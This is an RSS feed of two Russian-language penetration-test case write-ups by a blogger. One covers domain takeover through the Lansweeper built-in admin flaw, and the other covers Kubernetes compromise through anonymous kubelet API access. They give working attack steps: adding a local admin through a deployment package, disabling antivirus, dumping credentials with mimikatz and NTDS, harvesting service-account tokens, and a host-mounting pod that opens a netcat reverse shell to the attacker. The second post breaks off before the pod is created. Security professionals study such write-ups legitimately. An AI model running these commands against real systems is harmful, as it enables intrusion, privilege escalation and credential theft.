<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>o1d_bu7_go1d</title><generator>teletype.in</generator><description><![CDATA[Pentester]]></description><image><url>https://img3.teletype.in/files/63/fa/63faa5bf-5a25-4102-90cd-e6e2b4a90dde.png</url><title>o1d_bu7_go1d</title><link>https://red-team-notes.ru/</link></image><link>https://red-team-notes.ru/?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=o1d_bu7_go1d</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/o1d_bu7_go1d?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/o1d_bu7_go1d?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 21 Jun 2026 18:55:33 GMT</pubDate><lastBuildDate>Sun, 21 Jun 2026 18:55:33 GMT</lastBuildDate><item><guid isPermaLink="true">https://red-team-notes.ru/ptest-case-2</guid><link>https://red-team-notes.ru/ptest-case-2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=o1d_bu7_go1d</link><comments>https://red-team-notes.ru/ptest-case-2?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=o1d_bu7_go1d#comments</comments><dc:creator>o1d_bu7_go1d</dc:creator><title>Как Lansweeper может привести к компрометации доменной инфраструктуры</title><pubDate>Sat, 20 Jun 2026 13:36:40 GMT</pubDate><description><![CDATA[<img src="https://img4.teletype.in/files/3f/f1/3ff10abd-31cc-4e9b-82dd-04c0451c9a5e.png"></img>Всем привет, я — o1d_bu7_go1d, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.]]></description><content:encoded><![CDATA[
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="sE6t" data-align="center">[0x00] Предисловие</h2>
  </section>
  <hr />
  <p id="p4qz">Всем привет, я — <strong><em>o1d_bu7_go1d</em></strong>, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.</p>
  <p id="MrH8">Недавно проводили с коллегами очередные работы по тестированию на проникновение и выявили несколько интересных вещей. Про одну из таких вещей я сегодня расскажу. А точнее, я опишу кейс с сервисом <code>Lansweeper</code>, который стал отправной точкой на пути к захвату домена. Напомню, что я разбираю именно <strong><em>кейс</em></strong>, а не базу.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="gsIu" data-align="center">[0x01] Отказ от ответственности</h2>
  </section>
  <hr />
  <p id="z9Xj">Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными. </p>
  <p id="C8FC">Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="00qr" data-align="center">[0x02] Захват доменной инфраструктуры</h2>
  </section>
  <hr />
  <p id="sEil">Представим ситуацию, что мы, находясь в инфраструктуре организации, обнаружили сервис под названием <code>Lansweeper</code>. Наша цель - захватить доменную инфраструктуру организации. Но как нам может помочь в этом обнаруженный сервис?</p>
  <p id="PNRw">Для начала стоит разобраться, что это за сервис. По своей сути, <code>Lansweeper</code> является платформой для инвентаризации IT-активов организации, а именно - позволяет централизованно управлять IT-инфраструктурой. Забегая вперед, именно это и позволит нам захватить домен.</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="1ySR" class="m_column" data-caption-align="center">
      <img src="https://img3.teletype.in/files/61/9e/619e4a0b-9bfc-4df5-87d3-a8a63cb4bb39.png" width="1369" />
      <figcaption>Стартовая страница Lansweeper</figcaption>
    </figure>
  </section>
  <p id="KKHn">И так, мы нашли <code>Lansweeper</code> в инфраструктуре организации. Если обратить внимание на скриншот выше, то можно заметить кнопку <code>BUILT-IN ADMIN</code>. С этой простой, казалось бы, кнопкой связана <code>CVE-2020-14011</code>. Ссылка на <a href="https://www.exploit-db.com/exploits/48618" target="_blank">exploit-db</a>.</p>
  <p id="WrAv">Дело в том, что в версиях с 6.0.x по 7.2.x при стандартной установке возникает серьезная проблема в контроле доступа. При первом запуске веб-консоли система предлагает мастер-настройки. Если администратор не снял вручную галочку с параметра <code>Built-in admin</code>, то для учетной записи администратора по умолчанию устанавливается заранее заданный пароль.</p>
  <p id="5VuN">При этом, в ходе проекта меня пустило в панель <code>Lansweeper</code> через простое нажатие на кнопку <code>BUILT-IN ADMIN</code> без ввода учетных данных. К слову, версия в <code>Lansweeper</code> была <code>7.2.108.6</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="kXQx" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/39/47/3947276a-e569-4f33-a4ba-25fbe64736cc.png" width="1371" />
      <figcaption>Доступ к Lansweeper через Built-In Admin</figcaption>
    </figure>
  </section>
  <p id="piaC">Самое главное, что мы, как злоумышленник, можем создавать вредоносные пакеты для последующего деплоя на хосты. Делается это через вкладку <code>Deployment</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="WDm1" class="m_column" data-caption-align="center">
      <img src="https://img3.teletype.in/files/af/28/af28fad1-6850-4ee7-896d-9897e9670519.png" width="1375" />
      <figcaption>Переход на вкладку Deployment</figcaption>
    </figure>
  </section>
  <p id="l0nk">Создадим вредоносный пакет, в котором будет содержаться команда для добавления доменного пользователя в локальные администраторы. Простой доменный пользователь был в нашем распоряжении. Нажимаем на <code>New Package</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="YFCP" class="m_column" data-caption-align="center">
      <img src="https://img2.teletype.in/files/df/54/df5484c4-bb36-4d18-bea0-33bdf558b3a0.png" width="1374" />
      <figcaption>Создание нового пакета для последующего деплоя</figcaption>
    </figure>
  </section>
  <p id="473w">Указываем имя пакета, можно добавить описание. Обязательно указываем в разделе <code>Run Mode</code> - <code>System Account</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="wiZ6" class="m_column" data-caption-align="center">
      <img src="https://img3.teletype.in/files/ef/c2/efc2687c-e987-4c97-b8e8-5c383627a19f.png" width="795" />
      <figcaption>Базовые настройки пакета</figcaption>
    </figure>
  </section>
  <p id="odTQ">После того, как мы создали пакет, нужно добавить действия, которые будут выполнять при деплое этого пакета. Для этого необходимо нажать на <code>Add Step</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="ZDTi" class="m_column" data-caption-align="center">
      <img src="https://img1.teletype.in/files/44/eb/44eb4781-03be-4341-849a-563f60ba70c2.png" width="969" />
      <figcaption>Добавление действий для пакета в рамках деплоя</figcaption>
    </figure>
  </section>
  <p id="qduD">В открывшемся меню необходимо изменить <code>Action</code> на <code>Command</code>, указать <code>Step Name</code>, а также вписать саму команду в <code>Command</code>, которая будет исполняться:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="PkYY" data-lang="powershell">net localgroup administrators &lt;DOMAIN_EXAMPLE&gt;\&lt;controlled_username&gt; /add</pre>
  </section>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="7TO3">Мы не мусорим в инфраструктурах и вам не советуем, поэтому удалить пользователя из локальных администраторов можно командой <code>net localgroup administrators &lt;DOMAIN_EXAMPLE&gt;\&lt;controlled_username&gt; /delete</code></blockquote>
  </section>
  <p id="H3xJ">После этого нужно выбрать параметры в разделах <code>Action on Success</code> и <code>Action on Failure</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="XJfP" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/b4/28/b428f8f8-cf14-47dd-b3e6-b571c9e428c9.png" width="1372" />
      <figcaption>Добавление команды</figcaption>
    </figure>
  </section>
  <p id="GPAq">Следующее действие - деплой. Я предварительно выбрал цель, куда буду деплоить созданный пакет. К примеру, это может быть один из центральных серверов организации. Нажимаем на <code>Deploy Now</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="mV77" class="m_retina" data-caption-align="center">
      <img src="https://img2.teletype.in/files/97/f9/97f9a225-f62d-4650-94a4-4437dc816ba7.png" width="684.5" />
      <figcaption>Переход к деплою пакета</figcaption>
    </figure>
  </section>
  <p id="2yAX">В открывшемся меню в разделе <code>Deploy On</code> выбираем <code>Selection</code> и из меню <code>Select Assets</code> выбираем интересующую нас цель:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="ASxE" class="m_retina" data-caption-align="center">
      <img src="https://img3.teletype.in/files/e8/43/e8430f83-a173-4d02-a690-0ea06ef009ba.png" width="681" />
      <figcaption>Параметры деплоя</figcaption>
    </figure>
  </section>
  <p id="X0wo">После того, как мы создали задачу на деплой, нам нужно проверить, выполнилось ли наше действие. Для этого нам надо найти нашу цель в разделе <code>Assets</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="C4Aa" class="m_column" data-caption-align="center">
      <img src="https://img3.teletype.in/files/68/18/6818112b-fbdb-41c3-b6ce-2cd3f425ca5a.png" width="1371" />
      <figcaption>Поиск цели в разеделе Assets, куда был произведен деплой</figcaption>
    </figure>
  </section>
  <p id="hWrO">После того, как мы нашли интересующую нас цель, необходимо перейти во вкладку <code>Deployments</code> и посмотреть лог деплоя:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="yolR" class="m_column" data-caption-align="center">
      <img src="https://img1.teletype.in/files/0d/0a/0d0a6abc-3445-44b7-9c77-278654ffe0d1.png" width="1376" />
      <figcaption>Проверка выполнения задачи (деплоя)</figcaption>
    </figure>
  </section>
  <p id="XkrS">Как видим, операция прошла успешно и, по идее, мы стали локальным администратором. Если изначальная картина была такая:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="7scW" data-lang="bash">nxc smb &lt;target_ip&gt; -u &#x27;&lt;controlled_user&gt;&#x27; -p &#x27;&lt;controlled_user_password&gt;&#x27; -d &#x27;&lt;example.local&gt;&#x27;</pre>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="IgpH" class="m_column" data-caption-align="center">
      <img src="https://img2.teletype.in/files/da/b8/dab850ef-ea4c-44bb-90c4-90a182747d0a.png" width="1376" />
      <figcaption>Первоначальный доступ к хосту до добавления локального администратора</figcaption>
    </figure>
  </section>
  <p id="jVuV">То сейчас имеем заветный <code>Pwn3d!</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="2Fof" class="m_column" data-caption-align="center">
      <img src="https://img3.teletype.in/files/2b/d3/2bd3541c-e6c0-4a2d-a694-d527604322e1.png" width="1358" />
      <figcaption>Проверка доступа после добавления локального администратора</figcaption>
    </figure>
  </section>
  <p id="gpKm">Попробуем выгрузить хэши из SAM и LSA:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="7PWj" class="m_column" data-caption-align="center">
      <img src="https://img2.teletype.in/files/d6/91/d6918eae-4723-4e61-9383-c1e32d03fee5.png" width="1364" />
      <figcaption>Выгрузка хэшей из SAM и LSA</figcaption>
    </figure>
  </section>
  <p id="8HvA">И самое неприятное то, что хэши в формате <code>$DCC2$10240#</code>. Значит, нам надо действовать как-то по-другому, потому что хэши такого типа не могут быть использованы в рамках техники <code>Pass-the-Hash</code>. Воспользуемся <code>remmina</code> для подключения к целевому серверу по протоколу <code>RDP</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="Pktc" class="m_column" data-caption-align="center">
      <img src="https://img1.teletype.in/files/47/2a/472a85dd-e880-4bfe-ba0b-433bb6c47167.png" width="1374" />
      <figcaption>Подключение к целевому хосту по RDP</figcaption>
    </figure>
  </section>
  <p id="R8rK">И вот мы успешно попали на хост:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="Ajb4" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/bb/8e/bb8e28bd-5a25-49ba-aa54-de104c7335ff.png" width="1373" />
      <figcaption>Получение доступа к целевому серверу по RDP</figcaption>
    </figure>
  </section>
  <p id="gKl0">Идея заключается в следующем - деактивировать <code>Kaspersky</code> и загрузить <code>mimikatz</code>. СЗИ отключить проблем не составило:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="smHm" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/34/97/3497db04-6327-4cc1-ac3a-6ea33ea193ae.png" width="882" />
      <figcaption>Отключение Kaspersky</figcaption>
    </figure>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="tBn2" class="m_original" data-caption-align="center">
      <img src="https://img1.teletype.in/files/c1/45/c1451380-1503-459c-90bf-6115629c355f.png" width="1093" />
      <figcaption>Отключение Kaspersky</figcaption>
    </figure>
  </section>
  <p id="RQKa">Открываем у себя Python HTTP Server, чтобы доставить <code>mimikatz</code>:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="9MyR" data-lang="bash">python3 -m http.server 4466</pre>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="qPti" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/f6/04/f604b9fa-4dab-45da-8ed7-a50bd05df397.png" width="1114" />
      <figcaption>Активация HTTP-сервера на Kali Linux</figcaption>
    </figure>
  </section>
  <p id="0Z8l">Скачиваем <code>mimikatz</code> на целевой хост:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="zPCI" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/b4/93/b4932583-befa-432c-abef-3ab054641f83.png" width="1212" />
      <figcaption>Загрузка mimikatz</figcaption>
    </figure>
  </section>
  <p id="yYv8">Запускаем загруженный <code>mimikatz</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="BVIm" class="m_column" data-caption-align="center">
      <img src="https://img2.teletype.in/files/d6/8e/d68ea52c-67e4-4c15-b9e6-0022e306bfb2.png" width="1303" />
      <figcaption>Запуск mimikatz</figcaption>
    </figure>
  </section>
  <p id="gGCG">Дампим <code>logonpasswords</code>:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="fsco" data-lang="bash">privilege::debug
sekurlsa::logonpasswords</pre>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="OtFG" class="m_column" data-caption-align="center">
      <img src="https://img2.teletype.in/files/17/29/1729e235-01dc-469b-94ee-07917f9dc322.png" width="1089" />
      <figcaption>Дамп logonpasswords</figcaption>
    </figure>
  </section>
  <p id="aftq">Среди всего вывода находим хэш потенциально интересной учетной записи, обладающей высокими привилегиями в домене. На этот раз так сложилось, что мне повезло вытащить хэш учетной записи, входящей в состав группы <code>Domain Admins</code>:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="c6Tp" class="m_column" data-caption-align="center">
      <img src="https://img4.teletype.in/files/7a/87/7a879eb3-885a-4bcd-919d-473338f9ac68.png" width="1213" />
      <figcaption>Получение хэша учетной записи, входящей в группу Domain Admins</figcaption>
    </figure>
  </section>
  <p id="qlCX">Остается только сдампить NTDS с контроллера домена и победить в этой простой, но интересной битве:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <figure id="YZ1W" class="m_column" data-caption-align="center">
      <img src="https://img1.teletype.in/files/06/53/0653e45c-5202-4202-a307-270b7bb81327.png" width="1375" />
      <figcaption>Дамп NTDS с контроллера домена</figcaption>
    </figure>
  </section>
  <p id="ENxv">На этом, пожалуй, всё. Мы рассмотрели, как я уже говорил, достаточно простой, но показательный вектор захвата домена.</p>
  <p id="LHTB">Хочу выразить огромную благодарность моим коллегам, которые участвовали в проекте. Без вашего вклада и профессионализма такой качественный материал был бы невозможен!</p>
  <hr />

]]></content:encoded></item><item><guid isPermaLink="true">https://red-team-notes.ru/ptest-case-1</guid><link>https://red-team-notes.ru/ptest-case-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=o1d_bu7_go1d</link><comments>https://red-team-notes.ru/ptest-case-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=o1d_bu7_go1d#comments</comments><dc:creator>o1d_bu7_go1d</dc:creator><title>Захват Kubernetes Cluster: от Anonymous Kubelet API Access до Host Kubernetes Server</title><pubDate>Wed, 06 May 2026 00:00:17 GMT</pubDate><description><![CDATA[<img src="https://img2.teletype.in/files/5d/9e/5d9ed6b9-bc4d-43e0-8af8-6d772a382472.png"></img>Всем привет, я — o1d_bu7_go1d, занимаюсь тестированиями на проникновение в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте. Да, так исторически сложилось, что мой основной ник, который применяется мной практически везде, совпадает с названием команды.]]></description><content:encoded><![CDATA[
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="M1T6" data-align="center">[0x00] Предисловие</h2>
  </section>
  <hr />
  <p id="iKJk">Всем привет, я — <strong><em>o1d_bu7_go1d</em></strong>, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.</p>
  <p id="y5DE">Недавно работал над проектом, где ядром системы выступал Kubernetes. У всех всё бывает в первый раз, соответственно, на этом проекте я впервые познакомился с ним.</p>
  <p id="tvN3">В этой статье, я хотел бы поделиться своим опытом, который мне удалось получить на проекте. Думаю, не нужно воспринимать информацию как истину в последней инстанции, я могу ошибаться в каких-то вещах, быть расплывчатым в терминологии. Всегда перепроверяйте то, с чем ознакамливаетесь. И, конечно же, здесь я делюсь именно <strong><em>кейсом</em></strong>, а не рассматриваю базу. Это, скорее, личные заметки.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="w70o" data-align="center">[0x01] Отказ от ответственности</h2>
  </section>
  <hr />
  <p id="2wRK">Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными. </p>
  <p id="fqih">Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="oyGV" data-align="center">[0x02] Нахождение всех Kubelet API средствами nmap в рамках скоупа</h2>
  </section>
  <hr />
  <p id="2zZv">Запускаем Nmap, акцентируя внимание на порт <code>10250</code>. Этот порт по-умолчанию используется Kubelet API:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="3HKF" data-lang="bash">nmap -p10250 XXX.XXX.XXX.XXX/XX --open -oG - | awk &#x27;/\/open\// {print $2}&#x27; &gt; kubeletapi-endpoints.txt</pre>
  </section>
  <p id="xPfc">Пример полученного файла <code>kubeletapi-endpoints.txt</code>:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="7lJK">XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX3
XXX.XXX.XXX.XX4</pre>
  </section>
  <p id="hV6c">В итоге, мы получим список IP-адресов, где есть <code>Kubelet API</code>. Следующий наш шаг будет заключаться в том, чтобы определить, можем ли мы получить анонимный доступ к <code>Kubelet API</code>.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="Wgbz" data-align="center">[0x03] Проверка анонимного доступа к Kubelet API на найденных хостах</h2>
  </section>
  <hr />
  <p id="IsVY">Здесь мы будем акцентировать внимание на то, какой статус-код будет возвращаться от Kubelet API:</p>
  <ul id="k9yN">
    <li id="a4RV">200 - есть анонимный доступ</li>
    <li id="LVgD">401 - нет анонимного доступа</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="ow0p" data-lang="bash">while read ip; do status=$(curl -k -s -o /dev/null -w &quot;%{http_code}\n&quot; https://$ip:10250/pods) &amp;&amp; echo &quot;$ip $status&quot;; done &lt; kubeletapi-endpoints.txt | grep &quot;200&quot; | awk &#x27;{print $1}&#x27; &gt; kubeletapi-endpoints-filtered.txt</pre>
  </section>
  <p id="PTDX">Пример получившегося файла <code>kubeletapi-endpoints-filtered.txt</code>:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="RMyC">XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX4</pre>
  </section>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="lubV" data-align="center">[0x04] Сканирование контейнеров на потенциальный Remote Code Execution</h2>
  </section>
  <hr />
  <p id="GKVx">На этом шаге уже будем использовать инструмент <code>kubeletctl</code>. <code>scan rce</code> поможет нам определить, где есть возможность RCE:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="fBvC" data-lang="bash">while read ip; do ./kubeletctl scan rce -s $ip; done &lt; kubeletapi-endpoints-filtered.txt</pre>
  </section>
  <p id="UdtP">Вывод будет в красивых таблицах. Упрощенный пример вывода:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="ewDg" data-lang="bash"># NODE_IP:PODS:NAMESPACE:CONTAINERS:RCE 

XXX.XXX.XXX.XX1:nginx-a1b2c3e4:localapp:nginx:+</pre>
  </section>
  <p id="wMLm">Соответственно, <code>+</code> или <code>-</code> покажут, где можно исполнять команды, а где нет.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="WqwL" data-align="center">[0x05] Remote Code Execution (RCE)</h2>
  </section>
  <hr />
  <p id="vcev">Тут два варианта - можно выполнить команды на всех подах, либо точечно, т.е. на конкретном поде:</p>
  <ul id="AIt3">
    <li id="WchJ">На всех подах (как я понял, на контейнерах подов) конкретного Kubelet API:</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="OHFu" data-lang="bash">./kubeletctl run &quot;&lt;bash command&gt;&quot; --all-pods -s XXX.XXX.XXX.XX1</pre>
  </section>
  <ul id="7Xeh">
    <li id="jGXX">На конкретном контейнере пода:</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="XQ4y" data-lang="bash">./kubeletctl run &quot;&lt;bash command&gt;&quot; -c &lt;container&gt; -p &lt;pod&gt; -n &lt;namespace&gt; -s XXX.XXX.XXX.XX1</pre>
  </section>
  <ul id="3IdF">
    <li id="aG4C">Бонус: на всех подах всех доступных нам Kubelet API:</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="I8tp" data-lang="bash">while read ip; do ./kubeletctl run &quot;&lt;bash command&gt;&quot; --all-pods -s $ip; done &lt; kubeletapi-endpoints-filtered.txt</pre>
  </section>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="v7pv" data-align="center">[0x06] Поиск Service Account токенов</h2>
  </section>
  <hr />
  <p id="R6P9">Поиск токенов на всех pods конкретного Kubelet API:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="Wy7D" data-lang="bash">./kubeletctl scan token -s XXX.XXX.XXX.XX1</pre>
  </section>
  <p id="oExV">Альтернативный способ:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="Kt3h" data-lang="bash">./kubeletctl run &quot;cat /var/run/secrets/kubernetes.io/serviceaccount/token&quot; --all-pods -s XXX.XXX.XXX.XX1</pre>
  </section>
  <p id="qYAZ">В данном случае, наверняка, можно грамотно сделать grep, но мне в рамках задачи достаточно было сделать grep по первым символам токена. Получим все токены со всех подов всех доступных Kubelet API:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="jtJj" data-lang="bash">while read ip; do ./kubeletctl run &quot;cat /var/run/secrets/kubernetes.io/serviceaccount/token&quot; --all-pods -s $ip | grep &quot;&lt;first-N-jwt-token-symbols&gt;&quot;; done &lt; kubeletapi-endpoints-filtered.txt &gt; leaked_service_accounts_tokens.txt</pre>
  </section>
  <p id="s45m">Подсчитать количество токенов:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="gTPZ" data-lang="bash">wc -l leaked_service_accounts_tokens.txt</pre>
  </section>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="oHCP" data-align="center">[0x07] Проверка прав токенов</h2>
  </section>
  <hr />
  <p id="tyE4">Теперь, когда мы забрали токены, нам нужно найти среди них такие, с помощью которых мы сможем делать ВСЁ. Для этого в <code>kubectl</code> есть отдельная команда - <code>auth can-i &#x27;*&#x27; &#x27;*&#x27;</code>:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="aqUi" data-lang="bash">while read token; do result=$(./kubectl auth can-i &#x27;*&#x27; &#x27;*&#x27; --token $token --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true) &amp;&amp; echo &quot;$result : $token&quot;; done &lt; leaked_service_accounts_tokens.txt</pre>
  </section>
  <p id="hJXu">Если хотя бы один такой токен нашелся (в ответ от API мы должны получить <em>yes</em>), то мы почти победили.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="WkZK" data-align="center"><strong>[0x08] Создание evil-pod с примонтированной хостовой ОС</strong></h2>
  </section>
  <hr />
  <p id="C0YM">Добавим найденный токен в переменную окружения на Kali Linux:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="Jgsb" data-lang="bash">export PRIVTOKEN=&lt;jwt-token-here&gt;</pre>
  </section>
  <p id="CjUQ">Создаем вредоносный под. У себя на Kali я создаю <code>mal.yaml</code> со следующим содержимым:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="iH2v" data-lang="yaml">apiVersion: v1
kind: Pod
metadata:
    name: o1dbu7go1d
spec:
    containers:
    - name: busybox
      image: busybox:latest 
      command: [&quot;/bin/sh&quot;]
      args: [&quot;-c&quot;, &quot;nc &lt;kali-listener-ip&gt; &lt;kali-listener-port&gt; -e /bin/sh&quot;]
      volumeMounts:
      - name: host
        mountPath: /host
    volumes:
    - name: host
      hostPath: 
        path: /</pre>
  </section>
  <p id="zSjB">Cтавим на Kali порт на прослушивание:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="Qfd7" data-lang="bash">nc -lvnp &lt;kali-listener-port&gt;</pre>
  </section>
  <p id="HjqF">После чего, создаем evil-pod по ранее заготовленному YAML-конфигу:</p>
